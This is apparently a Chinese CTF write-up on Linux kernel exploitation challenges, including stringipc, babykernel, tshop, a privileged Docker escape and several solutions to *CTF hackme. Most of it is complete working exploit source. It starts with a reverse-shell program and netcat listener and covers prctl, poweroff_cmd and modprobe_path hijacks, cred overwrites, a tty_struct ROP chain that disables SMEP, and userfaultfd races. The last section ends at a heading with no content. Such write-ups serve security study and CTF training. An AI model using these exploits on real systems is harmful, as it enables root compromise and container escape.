#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc,char *argv[])
{
int sockfd,numbytes;
char buf[BUFSIZ];
struct sockaddr_in their_addr;
while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1);
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(2333);
their_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
bzero(&(their_addr.sin_zero), 8);

while(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1);
dup2(sockfd,0);
dup2(sockfd,1);
dup2(sockfd,2);
system("/bin/sh");
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};


int main(){

struct alloc_channel_args alloc_channel;
struct shrink_channel_args shrink_channel;
struct seek_channel_args seek_channel;
struct read_channel_args read_channel;
struct write_channel_args write_channel;

setvbuf(stdout,0LL,2,0LL);

int fd = open("/dev/csaw",O_RDWR);
if(fd < 0){
puts("[:(]Open fail...");
exit(-1);
}

alloc_channel.buf_size = 0x100;
alloc_channel.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_channel);
printf("[:)]This is our channel_id: %d\n",alloc_channel.id);

shrink_channel.id = alloc_channel.id;
shrink_channel.size = 0x100+1;
ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_channel);
puts("[:)]Now we can r&w any where we want!!!");

char *buf = malloc(0x1000);
size_t vDSO_kernel = 0;
size_t addr=0xffffffff80000000;
for(;addr<0xffffffffffffefff;addr+=0x1000){
seek_channel.id = alloc_channel.id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

read_channel.id = alloc_channel.id;
read_channel.buf = buf;
read_channel.count = 0x1000;
ioctl(fd,CSAW_READ_CHANNEL,&read_channel);

if(!strcmp(buf+0x2cd,"gettimeofday")){
vDSO_kernel = addr;
printf("[:)]Find vDSO_addr in kernelspace: %p\n",vDSO_kernel);
break;
}
}

size_t kernel_base = vDSO_kernel & 0xffffffffff000000;
printf("[:)]Kernel_base = %p\n",kernel_base);

size_t prctl_hook = 0xeb7df8;
size_t poweroff_cmd = 0xe4dfa0;
size_t poweroff_work_func_addr = 0xa39c0;
prctl_hook += kernel_base;
poweroff_cmd += kernel_base;
poweroff_work_func_addr += kernel_base;
printf("[:)]Prctl_hook_addr = %p\n",prctl_hook);
printf("[:)]Poweroff_cmd_addr = %p\n",poweroff_cmd);
printf("[:)]Powoff_work_func_addr = %p\n",poweroff_work_func_addr);

//--------------------------------------------------------------
seek_channel.id = alloc_channel.id;
seek_channel.index = poweroff_cmd-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

memset(buf,'\x00',0x1000);
//strcpy(buf,"/bin/chmod 777 /flag\x00");
strcpy(buf,"/reverse_shell\x00");
write_channel.id = alloc_channel.id;
write_channel.buf = buf;
write_channel.count = strlen(buf)+1;
ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel);
//--------------------------------------------------------------
seek_channel.id = alloc_channel.id;
seek_channel.index = prctl_hook-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

memset(buf,'\x00',0x1000);
*(size_t *)buf = poweroff_work_func_addr;
write_channel.id = alloc_channel.id;
write_channel.buf = buf;
write_channel.count = 8;
ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel);

if(fork() == 0){
puts("[:)]Trigger!!!");
prctl(0,0,0,0,0);
exit(0);
}

system("nc -lp 2333");

return 0;
}

2018强网杯_solidcore

主要限制了内存写的范围必须大于0xffffffff80000000,并且限制了内核态vDSO的写入权限。

2015CSAW_stringipc的劫持prctl方法。

20180CTF-FINAL_babykernel

思路:

Double Fetch,需要多跑几次。

x1.PNG

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pthread.h>
#include <stdlib.h>
#include <string.h>

int finish = 0;
int times = 3000;
unsigned long long flag_addr;

struct user{
char* flag;
int len;
};

void change_flag_addr(void *a1){
struct user* tmp = a1;
while(finish == 0){
tmp->flag = flag_addr;
}
}


int main(){

int fd = open("/dev/baby",2);
ioctl(fd,0x6666,0);

system("dmesg | grep flag > user.txt");
FILE* user_fd = fopen("user.txt","r");
if(user_fd < 0){
puts("[:(]Open error...");
exit(0);
}
char user_buf[0x100] = {0};
fgets(user_buf,0x100,user_fd);
//size_t flag_addr = *(size_t*)flag;
//puts(flag);
//printf("[:)]Flag_addr = %p\n",*(unsigned long long *)flag);
flag_addr = strtoull(user_buf+31,user_buf+31+0x10,0x10);
printf("[:)]Flag_addr = %p !!!\n",flag_addr);

pthread_t p1;
struct user real_struct;
char test_flag[] = "flag{111111111111111111111111111}";
real_struct.flag = test_flag;
real_struct.len = 33;
pthread_create(&p1,NULL,change_flag_addr,&real_struct);

for(int i = 0; i < times; i++){
real_struct.flag = test_flag;
ioctl(fd,0x1337,&real_struct);
}

finish = 1;
pthread_join(p1,NULL);
close(fd);
printf("[:)]Result:\n");
system("dmesg | grep flag");

return 0;
}

2019TSCTF_babykernel:

思路:

cred结构体前0x20字节数据分布,如果可以的话,改前28字节较为稳定,只改uidgid为0貌似也可以。。。

1
2
3
4
5
6
7
|uid |usage|  |suid|gid |
|euid|sgid | | |egid|

gdb-peda$ x/80xg 0xffff888000025980
0xffff888000025980: 0x000003e800000003 0x000003e8000003e8
0xffff888000025990: 0x000003e8000003e8 0x000003e8000003e8
0xffff8880000259a0: 0x00000000000003e8 0x0000000000000000

创建新进程时:内核会调用:prepare_cred->kmem_cache_alloc

kmem_cache_allocrsi来传参,也就是申请的内存大小,即cred结构体的大小。可以写demo程序动态调试查看,在这道题的环境中正好为0xD0,与题目可控的chunk的大小一致。

题目漏洞为UAF,较为基础。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void debug(){
getchar();
}

void new(int fd,int index){
ioctl(fd,10010,index);
}

void delete(int fd,int index){
ioctl(fd,10086,index);
}

int main(){

int fd = open("/dev/tshop",0);
if(fd < 0){
printf("[:(]Open error...");
exit(-1);
}
//debug();

new(fd,0);
new(fd,1);
delete(fd,0);
delete(fd,1);

int pid = fork();
if(pid == 0){
sleep(2);
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(-1);
}
}
else if(pid < 0){
puts("[:(]Fork error...");
exit(-1);
}
else{
delete(fd,1);
new(fd,3);
sleep(1000);
}

return 0;
}

x1.PNG

2019云安全线下rw_docker:

唉,这道题想想都难受,这么简单的一题。。。当时却因为种种原因混杂导致没能做出来,甚至都没静下心去看。

虽然表面上是个Escape,但实际上就是个极其简单的kernel,只不过利用了docker run时带--privileged参数。

–privileged

大约在0.6版,privileged被引入docker。
使用该参数,container内的root拥有真正的root权限。
否则,container内的root只是外部的一个普通用户权限。
privileged启动的容器,可以看到很多host上的设备,并且可以执行mount。
甚至允许你在docker容器中启动docker容器。

所以当我们在docker中运行exp达到提权成功时,等于获得了主机的root,也就可以弹出主机的计算器,也就相当于逃逸成功了。

进入宿主机,加载漏洞模块,将宿主机的23端口映射到docker的22端口。

1
2
sudo insmod /home/b/de.ko
sudo docker run -itd --privileged -p 127.0.0.1:23:22 d77241e92fe6 /bin/bash -c "/etc/init.d/ssh start;/bin/bash"

ssh试一下是否映射成功:

ssh root@127.0.0.1 -p23,若输入密码后可以进入docker则说明映射成功。

接着写好exp,将exp复制到docker中。

1
scp -P 23 ./myexp root@127.0.0.1:/home

接着ssh进入docker,来到/home目录下运行复制来的exp,看到宿主机弹出计算器就算成功了。

x1.PNG

至于题目本身。。。emm,我觉得正常人在平稳心态状态下学半天kernel基础知识就可以解出。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <string.h>

int main()
{
int fd = open("/proc/de",2);

char *buf = malloc(0x10);
memset(buf,'\x00',0x10);

buf[0] = '\xFE';
write(fd,buf,10);

buf[0] = '\xFD';
write(fd,buf,1);
return 0;
}

另一种解法:

挂载磁盘,修改/etc/crontab文件:

https://ama2in9.top/2019/12/12/docker_escape/

2019*CTF_hackme

初始解法:

算是自己独立做出来的第一道非水题kernel,提权用的方法是传统的修改cred结构体的方法。

x1.PNG

需要注意的是这题给的kernel中貌似没有security_task_prctl

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>

struct chunk{
size_t index;
char* buf;
long long size;
long long offset;
};

struct chunk* user_chunk;

void uread(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30003,user_chunk);
}

void uwrite(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30002,user_chunk);
}

void new(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30000,user_chunk);
}

void delete(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30001,user_chunk);
}

int main(){

int fd = open("/dev/hackme",0);
if(fd < 0 ){
printf("[:(]Open error...\n");
exit(-1);
}
user_chunk = (struct chunk*)malloc(sizeof(struct chunk));

char* buf = malloc(0x1000);
memset(buf,'0',0x100);
new(fd,0,buf,0x100,0);
memset(buf,'1',0x100);
new(fd,1,buf,0x100,0);
memset(buf,'2',0x100);
new(fd,2,buf,0x100,0);

uread(fd,0,buf,0x200,-0x200);
size_t kernel_base = *((size_t*)buf+5) - 0x849ae0;
printf("[:)]kernel_base = %p\n",kernel_base);

delete(fd,0,buf,0,0);
delete(fd,1,buf,0,0);

uread(fd,2,buf,0x100,-0x100);
size_t heap_base = *(size_t*)buf - 0x17a500;
printf("[:)]heap_base = %p\n",heap_base);

*(size_t *)buf = kernel_base + 0x811040;
uwrite(fd,2,buf,0x100,-0x100);

memset(buf,'\x00',0x100);
new(fd,0,buf,0x100,0);
new(fd,1,buf,0x100,0);

uread(fd,1,buf,0x20,-0x20);
size_t mod_base = *(size_t*)buf - 0x6000;
printf("[:)]mod_base = %p\n",mod_base);

delete(fd,0,buf,0,0);

*(size_t*)buf = mod_base+0x2440;
uwrite(fd,2,buf,0x100,-0x100);

memset(buf,'\x00',0x100);
new(fd,0,buf,0x100,0);
new(fd,3,buf,0x100,0);

prctl(PR_SET_NAME,"xiaoxiaorenwu..");
size_t result = 0;
size_t cred_addr;
size_t real_cred_addr;
size_t target_addr;
size_t task_struct_addr;
char* buf1 = malloc(0x1000);
for(size_t addr=heap_base;addr<0xffffc80000000000;addr+=0x1000){
*(size_t*)buf = addr;
*((size_t*)buf+1) = 0x1000;
uwrite(fd,3,buf,0x10,0);
uread(fd,4,buf1,0x1000,0);
result = memmem(buf1,0x1000,"xiaoxiaorenwu..",0x10);
if(result){
cred_addr = *(size_t*)(result-8);
real_cred_addr = *(size_t*)(result-0x10);
if(cred_addr == real_cred_addr){
target_addr = addr + (result-(size_t)buf1);
task_struct_addr = target_addr - 0x9a8;
printf("[:)]task_struct_addr = %p\n",task_struct_addr);
printf("[:)]find cred_addr = %p\n",cred_addr);
free(buf1);
buf1 = 0;
break;
}
}
}

*(size_t*)buf = cred_addr;
*((size_t*)buf+1) = 28;
uwrite(fd,3,buf,0x10,0);
memset(buf,'\x00',28);
uwrite(fd,4,buf,28,0);

if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(-1);
}

return 0;
}

其他解法一:

modprobe_path

这是一个类似于poweroff_cmd的全局变量,会被call_userhelpermode当做第一个参数调用,原本内容为:/sbin/modprobe,更改为我们自己的命令即可,触发条件为执行一个非正确格式的ELF文件。

我这里还尝试了直接运行/bin/sh,结果是失败的,不知道为什么,但是之前改poweroff_cmd时改为/bin/sh同样是失败的,可能只能运行一个命令没法交互吧,还尝试了反弹shell,但是因为文件系统中没有初始化网络相关设备,所以也失败了,结果如下图:

x1.PNG

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>

struct chunk{
size_t index;
char* buf;
long long size;
long long offset;
};

struct chunk* user_chunk;

void uread(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30003,user_chunk);
}

void uwrite(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30002,user_chunk);
}

void new(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30000,user_chunk);
}

void delete(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30001,user_chunk);
}

int main(){

int fd = open("/dev/hackme",0);
if(fd < 0 ){
printf("[:(]Open error...\n");
exit(-1);
}
user_chunk = (struct chunk*)malloc(sizeof(struct chunk));

char* buf = malloc(0x1000);
memset(buf,'0',0x100);
new(fd,0,buf,0x100,0);
memset(buf,'1',0x100);
new(fd,1,buf,0x100,0);
memset(buf,'2',0x100);
new(fd,2,buf,0x100,0);

uread(fd,0,buf,0x200,-0x200);
size_t kernel_base = *((size_t*)buf+5) - 0x849ae0;
printf("[:)]kernel_base = %p\n",kernel_base);

delete(fd,0,buf,0,0);
delete(fd,1,buf,0,0);

uread(fd,2,buf,0x100,-0x100);
size_t heap_base = *(size_t*)buf - 0x17a500;
printf("[:)]heap_base = %p\n",heap_base);

*(size_t *)buf = kernel_base + 0x811040;
uwrite(fd,2,buf,0x100,-0x100);

memset(buf,'\x00',0x100);
new(fd,0,buf,0x100,0);
new(fd,1,buf,0x100,0);

uread(fd,1,buf,0x20,-0x20);
size_t mod_base = *(size_t*)buf - 0x6000;
printf("[:)]mod_base = %p\n",mod_base);

delete(fd,0,buf,0,0);

*(size_t*)buf = mod_base+0x2440;
uwrite(fd,2,buf,0x100,-0x100);

memset(buf,'\x00',0x100);
new(fd,0,buf,0x100,0);
new(fd,3,buf,0x100,0);

//ffffffff8183f960 D modprobe_path 81
size_t modprobe_path = kernel_base + 0x83f960;
printf("[:)]modprobe_path_addr = %p\n",modprobe_path);

//直接cat /flag成功
*(size_t*)buf = modprobe_path;
*((size_t*)buf+1) = strlen("/home/pwn/xxrw.sh")+1;
uwrite(fd,3,buf,0x10,0);

memset(buf,'\x00',0x1000);
strcpy(buf,"/home/pwn/xxrw.sh");
uwrite(fd,4,buf,strlen(buf)+1,0);

system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /home/pwn/xxrw.sh");
system("/bin/chmod +x /home/pwn/xxrw.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /trigger");
system("/bin/chmod +x /trigger");

system("/trigger");
system("cat /flag");

/*
反弹shell失败
*(size_t*)buf = modprobe_path;
*((size_t*)buf+1) = strlen("/reverse")+1;
uwrite(fd,3,buf,0x10,0);

memset(buf,'\x00',0x1000);
strcpy(buf,"/reverse");
uwrite(fd,4,buf,strlen(buf)+1,0);

system("echo -ne '\\xff\\xff\\xff\\xff' > /trigger");
system("/bin/chmod +x /trigger");
if(fork() == 0){
system("/trigger");
exit(0);
}

system("nc -lp 2333");
*/
return 0;
}

x1.PNG


其他解法二:

tty_struct && 栈迁移:

修改tty_structops指针原先存有内核基址,可利用其来泄露内核基址,然后将其改为内核堆中的可控地址,也就是我们申请到的chunk的地址,然后在那个地址构造fake_tty_operation,劫持write函数即可。栈迁移用到的gadget为:

1
2
3
4
5
6
7
8
9
10
.text:FFFFFFFF81200F66                 mov     rsp, rax
.text:FFFFFFFF81200F69 jmp loc_FFFFFFFF81200EE7

.text:FFFFFFFF81200EE7 pop r12
.text:FFFFFFFF81200EE9 mov rdi, rsp
.text:FFFFFFFF81200EEC call sub_FFFFFFFF81016190
.text:FFFFFFFF81200EF1 mov rsp, rax
.text:FFFFFFFF81200EF4 lea rbp, [rsp+70h+var_6F]
.text:FFFFFFFF81200EF9 push r12
.text:FFFFFFFF81200EFB retn

需要注意的是因为开启了smap,内核态无法访问用户空间数据,所以ropchain需要放在内核内存中,我们这里正好放在申请到的堆块中。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>

size_t prepare_kernel_cred = 0;
size_t commit_creds = 0;

struct chunk{
size_t index;
char* buf;
long long size;
long long offset;
};

struct chunk* user_chunk;

void uread(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30003,user_chunk);
}

void uwrite(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30002,user_chunk);
}

void new(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30000,user_chunk);
}

void delete(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30001,user_chunk);
}

size_t get_shell_addr = (size_t)get_shell;
void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(0);
}
}

size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

void su(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));

__asm__(
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push get_shell_addr;"
"swapgs;"
"iretq;"
);
}

int main(){
save();

int fd = open("/dev/hackme",0);
if(fd < 0 ){
printf("[:(]Open error...\n");
exit(-1);
}
user_chunk = (struct chunk*)malloc(sizeof(struct chunk));

char* buf = malloc(0x2000);
memset(buf,'0',0x400);
new(fd,0,buf,0x400,0);
memset(buf,'1',0x400);
new(fd,1,buf,0x400,0);
memset(buf,'2',0x400);
new(fd,2,buf,0x400,0);

delete(fd,0,buf,0,0);
delete(fd,1,buf,0,0);

uread(fd,2,buf,0x400,-0x400);
size_t heap_base = *(size_t*)buf;
printf("[:)]heap_base = %p\n",heap_base);

int ptmx_fd = open("/dev/ptmx",2);
if(ptmx_fd < 0){
puts("[:(]Open ptmx error...");
exit(0);
}

uread(fd,2,buf,0x400,-0x400);
if(*(size_t*)buf != 0x0000000100005401){
puts("[:(]Alloc ptmx error...");
exit(0);
}

size_t kernel_base = *((size_t*)buf+3) - 0x625d80;
printf("[:)]kernel_base = %p\n",kernel_base);
prepare_kernel_cred = 0x4d3d0 + kernel_base;
commit_creds = 0x4d220 + kernel_base;

*((size_t*)buf+3) = heap_base + 0x800;
uwrite(fd,2,buf,0x400,-0x400);

*(size_t*)buf = kernel_base + 0x1b5a1; //pop rax; ret;
*((size_t*)buf+1) = 0x6f0;
*((size_t*)buf+2) = kernel_base + 0x252b; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
*((size_t*)buf+3) = 0xdeadbeef;
*((size_t*)buf+4) = (size_t)su;
*((size_t*)buf+7) = kernel_base + 0x200f66; //mov rsp,rax;.........;
uwrite(fd,2,buf,0x40,0);

memset(buf,'\x00',8);
write(ptmx_fd,buf,8);
return 0;
}

x1.PNG


其他解法三:

userfaultfd:

经过几次尝试发现cred有时会出现在chunk_addr之前,有时会出现在chunk_addr之后,但绝大部分情况是在其之前,且相距距离都在0x160000之内(0x17a500-0x25d00 = 0x154800):

x1.PNG

在后面的情况:

x2.PNG

然后就可以通过越界向前读,读出cred的内容来,用8个1000来过滤,然后将8个1000全改为0后,再写回内核内存,因为中间有hole,会触发缺页中断,利用userfaultfd机制使用户态在自定义处理缺页中断时卡住,使提前准别好的子进程一直不断尝试拿shell。但是貌似不是很稳定,大概运行三到四次exp会成功一次,其他情况会卡住。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

#define max 0x160000
#define search 0x10000

struct chunk{
size_t index;
char* buf;
long long size;
long long offset;
};

struct chunk* user_chunk;

void uread(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30003,user_chunk);
}

void uwrite(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30002,user_chunk);
}

void new(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30000,user_chunk);
}

void delete(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30001,user_chunk);
}


void get_root(){
while(1){
sleep(2);
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
}
}

void handle(void* uffd){
struct pollfd mypollfd;

mypollfd.fd = (unsigned long)uffd;
mypollfd.events = POLLIN;
int re = poll(&mypollfd,1,-1);
if(re <= 0){
puts("[:(]Catch error...");
exit(0);
}
puts("[:)]Struck the pagefault!!!");
sleep(1000);
}

void register_uttd(uint64_t fault_page,uint64_t fault_page_size){
struct uffdio_api myapi;
struct uffdio_register myuffd;
pthread_t pt;

int uffd = syscall(__NR_userfaultfd,O_CLOEXEC|O_NONBLOCK);

myapi.api = UFFD_API;
myapi.features = 0;
if(ioctl(uffd,UFFDIO_API,&myapi) == -1){
puts("[:(]Api error...");
exit(-1);
}

myuffd.range.start = fault_page;
myuffd.range.len = fault_page_size;
myuffd.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd,UFFDIO_REGISTER,&myuffd) == -1){
puts("[:(]Register error...");
exit(-1);
}

int re = pthread_create(&pt,NULL,handle,(void*)uffd);
if(re != 0){
puts("[:(]Create pthread error...");
exit(-1);
}
}

int main(){

int fd = open("/dev/hackme",0);
if(fd < 0 ){
printf("[:(]Open error...\n");
exit(-1);
}
user_chunk = (struct chunk*)malloc(sizeof(struct chunk));

for(int i = 0;i < 20;i++){
if(fork() == 0){
get_root();
}
}

char* buf = malloc(max);
new(fd,0,buf,0x100,0);
uread(fd,0,buf,max,-max);
int* search_ptr = (int*)buf;
size_t offset = 0;

for(int i = 0;i < search/4;i++){
if(search_ptr[i]==1000 && search_ptr[i+1]==1000 && search_ptr[i+2]==1000 && search_ptr[i+3]==1000 && search_ptr[i+4]==1000 && search_ptr[i+5]==1000 && search_ptr[i+6]==1000 && search_ptr[i+7]==1000){
puts("[:)]Find cred!!!");
offset = i*4;
printf("[:)]offset = %p\n",offset);
for(int j = 0;j < 8;j++){
search_ptr[i+j] = 0;
}
break;
}
}
if(offset == 0){
puts("[:(]Not find...");
}

char* mmap_addr = mmap(NULL,max,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
memcpy(mmap_addr,buf,search);
uint64_t fault_page = mmap_addr + search;
uint64_t fault_page_size = max - search;
register_uttd(fault_page,fault_page_size);
uwrite(fd,0,mmap_addr,max,-max);

get_root();

return 0;
}

x1.PNG

卡住时:

x1.PNG


其他解法四:

race:

